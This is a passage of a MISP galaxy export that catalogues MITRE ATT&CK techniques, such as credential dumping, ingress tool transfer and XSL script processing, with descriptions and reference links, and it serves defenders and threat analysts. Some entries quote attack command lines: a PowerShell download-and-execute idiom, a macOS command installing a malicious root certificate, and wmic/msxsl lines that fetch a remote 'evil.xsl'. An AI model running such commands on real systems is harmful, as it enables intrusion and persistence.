The tag is: *misp-galaxy:mitre-attack-pattern="Unused/Unsupported Cloud Regions - T1535"*

Table 3998. Table References

Links
https://attack.mitre.org/techniques/T1535
https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc

Search Open Websites/Domains - T1593

Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Open Websites/Domains - T1593"*

Table 3999. Table References

Links
https://attack.mitre.org/techniques/T1593
https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
https://securitytrails.com/blog/google-hacking-techniques
https://www.exploit-db.com/google-hacking-database

Obtain booter/stressor subscription - T1396

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1396).

Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain booter/stressor subscription - T1396"*

Table 4000. Table References

Links
https://attack.mitre.org/techniques/T1396
https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/
https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/
https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/

Application Window Discovery - T1010

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"*

Table 4001. Table References

Links
https://attack.mitre.org/techniques/T1010
https://www.prevailion.com/darkwatchman-new-fileless-techniques/

OS Credential Dumping - T1003

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

The tag is: *misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"*

Table 4002. Table References

Links
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
https://adsecurity.org/?p=1729
https://attack.mitre.org/techniques/T1003
https://github.com/mattifestation/PowerSploit
https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
https://msdn.microsoft.com/library/cc228086.aspx
https://msdn.microsoft.com/library/cc237008.aspx

https://msdn.microsoft.com/library/cc245496.aspx
https://msdn.microsoft.com/library/dd207691.aspx
https://wiki.samba.org/index.php/DRSUAPI

Winlogon Helper DLL - T1004

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004"*

View relationships graph

Winlogon Helper DLL - T1004 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

Table 4003. Table References

Links
https://attack.mitre.org/techniques/T1004
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
https://capec.mitre.org/data/definitions/579.html
https://technet.microsoft.com/en-us/sysinternals/bb963902

Modify System Partition - T1400

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.

Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400"*

Table 4004. Table References

Links
https://attack.mitre.org/techniques/T1400
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://source.android.com/security/verifiedboot/
https://www.apple.com/business/docs/iOS_Security_Guide.pdf

Compile After Delivery - T1500

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

The tag is: *misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500"*

View relationships graph

Compile After Delivery - T1500 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

Table 4005. Table References

Links
https://attack.mitre.org/techniques/T1500
https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf

Direct Volume Access - T1006

Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)

The tag is: *misp-galaxy:mitre-attack-pattern="Direct Volume Access - T1006"*

Table 4006. Table References

Links
http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin
https://attack.mitre.org/techniques/T1006
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

System Service Discovery - T1007

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.

Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007"*

Table 4007. Table References

Links
https://attack.mitre.org/techniques/T1007
https://capec.mitre.org/data/definitions/574.html

Taint Shared Content - T1080

Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

The tag is: *misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080"*

Table 4008. Table References

Links
https://attack.mitre.org/techniques/T1080
https://capec.mitre.org/data/definitions/562.html
https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html

Security Support Provider - T1101

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101"*

View relationships graph

Security Support Provider - T1101 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005" with estimative-language:likelihood-probability="almost-certain"

Table 4009. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1101
https://technet.microsoft.com/en-us/library/dn408187.aspx

Peripheral Device Discovery - T1120

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

The tag is: *misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"*

Table 4010. Table References

Links
https://attack.mitre.org/techniques/T1120
https://capec.mitre.org/data/definitions/646.html
https://linuxhint.com/list-usb-devices-linux/
https://ss64.com/osx/system_profiler.html

Password Policy Discovery - T1201

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information.(Citation: US-CERT-TA18-106A)

Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).

The tag is: *misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201"*

Table 4011. Table References

Links
https://attack.mitre.org/techniques/T1201
https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html
https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines
https://www.us-cert.gov/ncas/alerts/TA18-106A

Analyze business processes - T1301

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1301).

Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze business processes - T1301"*

Table 4012. Table References

Links
https://attack.mitre.org/techniques/T1301

Install Root Certificate - T1130

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130"*

View relationships graph

Install Root Certificate - T1130 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 4013. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
https://attack.mitre.org/techniques/T1130
https://capec.mitre.org/data/definitions/479.html
https://docs.microsoft.com/sysinternals/downloads/sigcheck
https://en.wikipedia.org/wiki/Root_certificate
https://objective-see.com/blog/blog_0x26.html
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/

Modify Existing Service - T1031

Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).

Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031"*

View relationships graph

Modify Existing Service - T1031 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 4014. Table References

Links
https://attack.mitre.org/techniques/T1031
https://capec.mitre.org/data/definitions/551.html
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://twitter.com/r0wdy_/status/936365549553991680

Device Administrator Permissions - T1401

Adversaries may request device administrator permissions to perform malicious actions.

By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device's password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and any traces of the malware, disabling all of the device's cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo)

Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.

The tag is: *misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401"*

Table 4015. Table References

Links
https://attack.mitre.org/techniques/T1401
https://developer.android.com/reference/android/app/admin/DeviceAdminInfo
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html

Ingress Tool Transfer - T1105

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).

Files can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)

On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)

The tag is: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"*

Table 4016. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1105
https://lolbas-project.github.io/#t1105
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf

Graphical User Interface - T1061

This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.

The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.

The tag is: *misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061"*

Table 4017. Table References

Links
https://attack.mitre.org/techniques/T1061

https://en.wikipedia.org/wiki/Run_command

Modify System Image - T1601

Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify System Image - T1601"*

Table 4018. Table References

Links
https://attack.mitre.org/techniques/T1601
https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
https://tools.cisco.com/security/center/resources/integrity_assurance.html#7

Application Deployment Software - T1017

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017"*

View relationships graph

Application Deployment Software - T1017 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 4019. Table References

Links
https://attack.mitre.org/techniques/T1017

https://capec.mitre.org/data/definitions/187.html

Application Layer Protocol - T1071

Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071"*

Table 4020. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1071

Credentials in Files - T1081

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081"*

View relationships graph

Credentials in Files - T1081 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 4021. Table References

Links
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
https://attack.mitre.org/techniques/T1081
https://capec.mitre.org/data/definitions/639.html
https://posts.specterops.io/head-in-the-clouds-bd038bb69e48

Remote System Discovery - T1018

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).

Adversaries may also analyze data from local host files (ex: <code>C:\Windows\System32\Drivers\etc\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network.(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018"*

Table 4022. Table References

Links
https://attack.mitre.org/techniques/T1018
https://capec.mitre.org/data/definitions/292.html
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
https://www.us-cert.gov/ncas/alerts/TA18-106A

Indirect Command Execution - T1202

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"*

Table 4023. Table References

Links
https://attack.mitre.org/techniques/T1202
https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe
https://twitter.com/Evi1cg/status/935027922397573120
https://twitter.com/vector_sec/status/896049052642533376

XSL Script Processing - T1220

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

- <code>msxsl.exe customers[.]xml script[.]xsl</code>
- <code>msxsl.exe script[.]xsl script[.]xsl</code>
- <code>msxsl.exe script[.]jpeg script[.]jpeg</code>

Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

- Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
- Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

The tag is: *misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220"*

Table 4024. Table References

Links
https://attack.mitre.org/techniques/T1220
https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://lolbas-project.github.io/lolbas/Binaries/Wmic/
https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
https://twitter.com/dez_/status/986614411711442944
https://www.microsoft.com/download/details.aspx?id=21714

Standard Cryptographic Protocol - T1032

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032"*

View relationships graph

Standard Cryptographic Protocol - T1032 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 4025. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1032
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf

Derive intelligence requirements - T1230

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1230).

Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)

The tag is: *misp-galaxy:mitre-attack-pattern="Derive intelligence requirements - T1230"*

Table 4026. Table References

Links
https://attack.mitre.org/techniques/T1230

Custom Cryptographic Protocol - T1024

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)

The tag is: *misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024"*

View relationships graph

Custom Cryptographic Protocol - T1024 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 4027. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1024
